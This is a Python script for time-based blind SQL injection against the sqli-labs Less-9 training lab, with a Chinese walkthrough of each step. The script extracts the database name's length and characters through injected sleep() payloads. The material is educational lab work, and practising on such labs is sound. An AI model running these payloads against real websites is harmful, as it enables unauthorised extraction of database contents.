import requests
import string
def timeout(url) :
try:
res=requests.get(url = url,timeout = 3)
except:
return "timeout!"
else:
return res.text
url="http://192.168.177.167/sqli-labs-master/Less-9/"
c_set = string.printable.strip()
db_len = ""
db_name = ""
for i in range(50) :
paylaod = f"?id=2' and if(length((select database()))={i},sleep(5),0) --+"
full_url= url + paylaod
print(full_url)
if 'timeout' in timeout(full_url) :
db_len = i
print(f"[RESULT] The length dbname: {db_len}")
break
for i in range(1, db_len + 1):
for c in c_set:
paylaod = f"?id=2' and if (ascii(substr((select database()),{i},1))={ord(c)},sleep(5),0)--+"
full_url=url +paylaod
if 'timeout' in timeout(full_url):
db_name += c
print(f"[RESULT] The length dbname: {db_name}")
break
代码详解:
这段代码是一个简单的基于时间盲注的SQL注入漏洞检测脚本。下面我会逐步解释每个部分的功能和作用。
首先,导入了requests和string库。requests用于发送HTTP请求,string用于获取可打印字符集合。
然后,定义了一个名为timeout的函数,用于检测请求是否超时。函数的参数是一个URL。
在timeout函数中,尝试发送一个GET请求到指定的URL,并设置超时时间为3秒。如果请求成功,返回响应的文本内容;否则,返回"timeout!"字符串。
接下来,定义了一个变量url,用于存储目标网站的URL。
然后,使用string.printable.strip()获取可打印字符的集合,并赋值给变量c_set。
接下来,定义了两个空字符串变量db_len和db_name,分别用于存储数据库名称的长度和名称。
然后,使用一个循环从1到50,构造了一个payload参数,通过注入SQL语句来判断数据库名称的长度。这个SQL语句使用了if语句和sleep函数,当数据库名称的长度等于当前循环变量i时,会造成延时5秒。构造完整的URL后,调用timeout函数获取响应。
如果timeout函数返回的响应包含"timeout"字符串,说明请求超时,即数据库名称的长度等于当前循环变量i,将db_len赋值为i,并打印结果。然后跳出循环。
接下来,使用两个嵌套循环,分别遍历数据库名称的每个字符和可打印字符集合c_set。
在内层循环中,构造了一个payload参数,通过注入SQL语句来判断数据库名称的每个字符的ASCII值是否等于当前遍历的字符的ASCII值。该SQL语句使用了if语句和sleep函数,当数据库名称的第i个字符的ASCII值等于当前遍历的字符的ASCII值时,会造成延时5秒。
构造完整的URL后,调用timeout函数获取响应。如果timeout函数返回的响应包含"timeout"字符串,说明请求超时,即数据库名称的第i个字符的ASCII值等于当前遍历的字符的ASCII值,将该字符添加到db_name中,并打印结果。然后跳出内层循环,继续外层循环。
通过这样的方式,逐个字符地检测数据库名称的每个字符,并逐渐构建出完整的数据库名称。